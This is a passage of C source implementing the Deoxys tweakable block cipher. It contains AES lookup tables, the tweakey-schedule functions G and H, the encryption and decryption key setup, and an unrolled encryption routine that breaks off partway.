0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU, 0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U, 0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U, 0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU, 0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU, 0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U, 0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU, 0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U, 0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U, 0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U, 0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U, 0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U, 0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U, 0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU, 0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU, 0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU, 0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU, 0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U, 0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U, 0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U, 0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU, 0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U, 0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U, }; static const uint32_t Td4[256] = { 0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U, 0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U, 0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU, 0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU, 0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U, 0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U, 0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U, 0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU, 0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U, 0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU, 0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU, 0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU, 0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U, 0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U, 0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U, 0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U, 0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U, 0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U, 0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU, 0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U, 0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U, 0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU, 0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U, 0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U, 0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U, 0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU, 0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U, 0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U, 0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU, 0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U, 0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U, 0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU, 0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U, 0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU, 0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU, 0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U, 0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U, 0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U, 0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U, 0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU, 0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U, 0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U, 0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU, 0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU, 0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU, 0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U, 0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU, 0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U, 0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U, 0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U, 0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U, 0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU, 0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U, 0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU, 0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU, 0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU, 0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU, 0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U, 0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU, 0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U, 0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU, 0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U, 0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U, 0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU, }; static const uint8_t perm[16] = {1,6,11,12,5,10,15,0,9,14,3,4,13,2,7,8}; static const uint8_t rcon[17] = { 0x2f,0x5e,0xbc,0x63,0xc6,0x97,0x35,0x6a, 0xd4,0xb3,0x7d,0xfa,0xef,0xc5,0x91,0x39, 0x72 }; static const uint8_t lfsr2[256] = { 0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e, 0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e, 0x41, 0x43, 0x45, 0x47, 0x49, 0x4b, 0x4d, 0x4f, 0x51, 0x53, 0x55, 0x57, 0x59, 0x5b, 0x5d, 0x5f, 0x61, 0x63, 0x65, 0x67, 0x69, 0x6b, 0x6d, 0x6f, 0x71, 0x73, 0x75, 0x77, 0x79, 0x7b, 0x7d, 0x7f, 0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e, 0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe, 0xc1, 0xc3, 0xc5, 0xc7, 0xc9, 0xcb, 0xcd, 0xcf, 0xd1, 0xd3, 0xd5, 0xd7, 0xd9, 0xdb, 0xdd, 0xdf, 0xe1, 0xe3, 0xe5, 0xe7, 0xe9, 0xeb, 0xed, 0xef, 0xf1, 0xf3, 0xf5, 0xf7, 0xf9, 0xfb, 0xfd, 0xff, 0x01, 0x03, 0x05, 0x07, 0x09, 0x0b, 0x0d, 0x0f, 0x11, 0x13, 0x15, 0x17, 0x19, 0x1b, 0x1d, 0x1f, 0x21, 0x23, 0x25, 0x27, 0x29, 0x2b, 0x2d, 0x2f, 0x31, 0x33, 0x35, 0x37, 0x39, 0x3b, 0x3d, 0x3f, 0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e, 0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e, 0x81, 0x83, 0x85, 0x87, 0x89, 0x8b, 0x8d, 0x8f, 0x91, 0x93, 0x95, 0x97, 0x99, 0x9b, 0x9d, 0x9f, 0xa1, 0xa3, 0xa5, 0xa7, 0xa9, 0xab, 0xad, 0xaf, 0xb1, 0xb3, 0xb5, 0xb7, 0xb9, 0xbb, 0xbd, 0xbf, 0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde, 0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe }; static const uint8_t lfsr4[256] = { 0x00, 0x80, 0x01, 0x81, 0x02, 0x82, 0x03, 0x83, 0x04, 0x84, 0x05, 0x85, 0x06, 0x86, 0x07, 0x87, 0x08, 0x88, 0x09, 0x89, 0x0a, 0x8a, 0x0b, 0x8b, 0x0c, 0x8c, 0x0d, 0x8d, 0x0e, 0x8e, 0x0f, 0x8f, 0x10, 0x90, 0x11, 0x91, 0x12, 0x92, 0x13, 0x93, 0x14, 0x94, 0x15, 0x95, 0x16, 0x96, 0x17, 0x97, 0x18, 0x98, 0x19, 0x99, 0x1a, 0x9a, 0x1b, 0x9b, 0x1c, 0x9c, 0x1d, 0x9d, 0x1e, 0x9e, 0x1f, 0x9f, 0xa0, 0x20, 0xa1, 0x21, 0xa2, 0x22, 0xa3, 0x23, 0xa4, 0x24, 0xa5, 0x25, 0xa6, 0x26, 0xa7, 0x27, 0xa8, 0x28, 0xa9, 0x29, 0xaa, 0x2a, 0xab, 0x2b, 0xac, 0x2c, 0xad, 0x2d, 0xae, 0x2e, 0xaf, 0x2f, 0xb0, 0x30, 0xb1, 0x31, 0xb2, 0x32, 0xb3, 0x33, 0xb4, 0x34, 0xb5, 0x35, 0xb6, 0x36, 0xb7, 0x37, 0xb8, 0x38, 0xb9, 0x39, 0xba, 0x3a, 0xbb, 0x3b, 0xbc, 0x3c, 0xbd, 0x3d, 0xbe, 0x3e, 0xbf, 0x3f, 0x40, 0xc0, 0x41, 0xc1, 0x42, 0xc2, 0x43, 0xc3, 0x44, 0xc4, 0x45, 0xc5, 0x46, 0xc6, 0x47, 0xc7, 0x48, 0xc8, 0x49, 0xc9, 0x4a, 0xca, 0x4b, 0xcb, 0x4c, 0xcc, 0x4d, 0xcd, 0x4e, 0xce, 0x4f, 0xcf, 0x50, 0xd0, 0x51, 0xd1, 0x52, 0xd2, 0x53, 0xd3, 0x54, 0xd4, 0x55, 0xd5, 0x56, 0xd6, 0x57, 0xd7, 0x58, 0xd8, 0x59, 0xd9, 0x5a, 0xda, 0x5b, 0xdb, 0x5c, 0xdc, 0x5d, 0xdd, 0x5e, 0xde, 0x5f, 0xdf, 0xe0, 0x60, 0xe1, 0x61, 0xe2, 0x62, 0xe3, 0x63, 0xe4, 0x64, 0xe5, 0x65, 0xe6, 0x66, 0xe7, 0x67, 0xe8, 0x68, 0xe9, 0x69, 0xea, 0x6a, 0xeb, 0x6b, 0xec, 0x6c, 0xed, 0x6d, 0xee, 0x6e, 0xef, 0x6f, 0xf0, 0x70, 0xf1, 0x71, 0xf2, 0x72, 0xf3, 0x73, 0xf4, 0x74, 0xf5, 0x75, 0xf6, 0x76, 0xf7, 0x77, 0xf8, 0x78, 0xf9, 0x79, 0xfa, 0x7a, 0xfb, 0x7b, 0xfc, 0x7c, 0xfd, 0x7d, 0xfe, 0x7e, 0xff, 0x7f }; /* ** LFSR according to the position alpha (for alpha \in {1,2,3} ) */ uint8_t choose_lfsr (uint8_t x, uint8_t alpha) { if( 1 == alpha ) return x; if( 2 == alpha ) return lfsr2[x];//mul2[x]; if( 3 == alpha ) return lfsr4[x];//mul2[mul2[x]]; printf("Incorrect alpha (%d) passed to the function g in the tweakey schedule. Exiting...\n", alpha); exit(2); } /* ** Function G form the specifications */ void G (uint8_t tweakey[], uint8_t alpha) { int i; for(i=0; i<16; i++) tweakey[i] = choose_lfsr (tweakey[i], alpha); } /* ** Function H form the specifications */ void H (uint8_t tweakey[]) { int i; uint8_t tmp[16]; for( i = 0; i<16; i++) tmp[perm[i]] = tweakey[i]; memcpy (tweakey, tmp, 16); } /* ** Prepare the round subtweakeys for the encryption process */ int deoxysKeySetupEnc256(uint32_t* rtweakey, const uint8_t* TweakKey, const int no_tweakeys) { int r; uint8_t tweakey[3][16]; uint8_t alpha[3]; const uint32_t rcon_row1 = 0x01020408; int Nr; memcpy (tweakey[0], TweakKey + 0, 16); memcpy (tweakey[1], TweakKey + 16, 16); if( 2 == no_tweakeys ){ alpha[0] = 2; alpha[1] = 1; /* Number of rounds is 14 */ Nr=14; } else if( 3 == no_tweakeys ){ memcpy (tweakey[2], TweakKey + 32, 16); alpha[0] = 3; alpha[1] = 2; alpha[2] = 1; /* Number of rounds is 16 */ Nr=16; } else { printf("The #tweakeys is %d, and it should be either 2 or 3. Exiting...\n", no_tweakeys); exit(1); } /* For each rounds */ for(r=0; r<=Nr; r++) { /* Produce the round tweakey */ rtweakey[ 4*r + 0] = GETU32( tweakey[0] + 0 ) ^ GETU32( tweakey[1] + 0 ) ^ ((3==no_tweakeys)* GETU32( tweakey[2] + 0 )) ^ rcon_row1 ; rtweakey[ 4*r + 1] = GETU32( tweakey[0] + 4 ) ^ GETU32( tweakey[1] + 4 ) ^ ((3==no_tweakeys)* GETU32( tweakey[2] + 4 )) ^ GETRCON( r); rtweakey[ 4*r + 2] = GETU32( tweakey[0] + 8 ) ^ GETU32( tweakey[1] + 8 ) ^ ((3==no_tweakeys)* GETU32( tweakey[2] + 8 )); rtweakey[ 4*r + 3] = GETU32( tweakey[0] + 12 ) ^ GETU32( tweakey[1] + 12 ) ^ ((3==no_tweakeys)* GETU32( tweakey[2] + 12 )); /* Apply H and G functions */ H (tweakey[0]); G (tweakey[0], alpha[0]); H (tweakey[1]); G (tweakey[1], alpha[1]); if (3 == no_tweakeys) { H (tweakey[2]); G (tweakey[2], alpha[2]); } }/*r*/ return Nr; } /* ** Prepare the round subtweakeys for the decryption process */ int deoxysKeySetupDec256(uint32_t* rtweakey, const uint8_t* TweakKey, int no_tweakeys) { int i; int j; int Nr; uint32_t temp; /* Produce the round tweakeys used for the encryption */ Nr=deoxysKeySetupEnc256 (rtweakey, TweakKey, no_tweakeys); /* invert their order */ for (i = 0, j = 4*Nr; i < j; i += 4, j -= 4) { temp = rtweakey[i ]; rtweakey[i ] = rtweakey[j ]; rtweakey[j ] = temp; temp = rtweakey[i + 1]; rtweakey[i + 1] = rtweakey[j + 1]; rtweakey[j + 1] = temp; temp = rtweakey[i + 2]; rtweakey[i + 2] = rtweakey[j + 2]; rtweakey[j + 2] = temp; temp = rtweakey[i + 3]; rtweakey[i + 3] = rtweakey[j + 3]; rtweakey[j + 3] = temp; } /* apply the inverse MixColumn transform to all round keys but the first and the last */ for (i = 1; i <= Nr; i++) { rtweakey += 4; rtweakey[0] = Td0[Te4[(rtweakey[0] >> 24) ] & 0xff] ^ Td1[Te4[(rtweakey[0] >> 16) & 0xff] & 0xff] ^ Td2[Te4[(rtweakey[0] >> 8) & 0xff] & 0xff] ^ Td3[Te4[(rtweakey[0] ) & 0xff] & 0xff]; rtweakey[1] = Td0[Te4[(rtweakey[1] >> 24) ] & 0xff] ^ Td1[Te4[(rtweakey[1] >> 16) & 0xff] & 0xff] ^ Td2[Te4[(rtweakey[1] >> 8) & 0xff] & 0xff] ^ Td3[Te4[(rtweakey[1] ) & 0xff] & 0xff]; rtweakey[2] = Td0[Te4[(rtweakey[2] >> 24) ] & 0xff] ^ Td1[Te4[(rtweakey[2] >> 16) & 0xff] & 0xff] ^ Td2[Te4[(rtweakey[2] >> 8) & 0xff] & 0xff] ^ Td3[Te4[(rtweakey[2] ) & 0xff] & 0xff]; rtweakey[3] = Td0[Te4[(rtweakey[3] >> 24) ] & 0xff] ^ Td1[Te4[(rtweakey[3] >> 16) & 0xff] & 0xff] ^ Td2[Te4[(rtweakey[3] >> 8) & 0xff] & 0xff] ^ Td3[Te4[(rtweakey[3] ) & 0xff] & 0xff]; } return Nr; } /* ** Tweakable block cipher encryption function */ void aesTweakEncrypt(uint32_t tweakey_size, uint8_t pt[16], uint8_t key[], uint8_t ct[16]) { uint32_t s0; uint32_t s1; uint32_t s2; uint32_t s3; uint32_t t0; uint32_t t1; uint32_t t2; uint32_t t3; uint32_t rk[4*17]; /* Produce the round tweakeys */ deoxysKeySetupEnc256 (rk, key, tweakey_size/128); /* Get the plaintext + key/tweak prewhitening */ s0 = GETU32(pt ) ^ rk[0]; s1 = GETU32(pt + 4) ^ rk[1]; s2 = GETU32(pt + 8) ^ rk[2]; s3 = GETU32(pt + 12) ^ rk[3]; /* round 1: */ t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[ 4]; t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[ 5]; t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[ 6]; t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[ 7]; /* round 2: */ s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[ 8]; s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[ 9]; s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[10]; s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[11]; /* round 3: */ t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[12]; t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[13]; t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[14]; t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[15]; /* round 4: */ s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[16]; s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[17]; s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[18]; s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[19]; /* round 5: */ t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[20]; t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[21]; t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[22]; t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[23]; /* round 6: */ s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[24]; s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[25]; s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[26]; s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[27]; /* round 7: */ t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[28]; t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[29]; t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[30]; t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[31]; /* round 8: */ s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[32]; s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[33]; s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[34]; s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[35]; /* round 9: */ t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[36]; t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[37]; t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[38]; t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[39]; /* round 10: */ s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[40]; s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[41]; s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[42]; s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[43]; /* round 11: */ t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[44]; t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[45]; t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[46]; t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[47]; /* round 12: */ s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[48]; s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[49]; s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[50]; s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[51]; /* round 13: */ t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[52]; t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[53]; t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[54]; t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[55]; /* round 14: */ s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[56]; s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[57]; s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[58]; s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[59]; if (384 == tweakey_size) { /* round 15: */ t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[60]; t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[61]; t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[62]; t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[63]; /* round 16: */ s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[64]; s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[65]; s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[66]; s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[67]; } /* Put the state 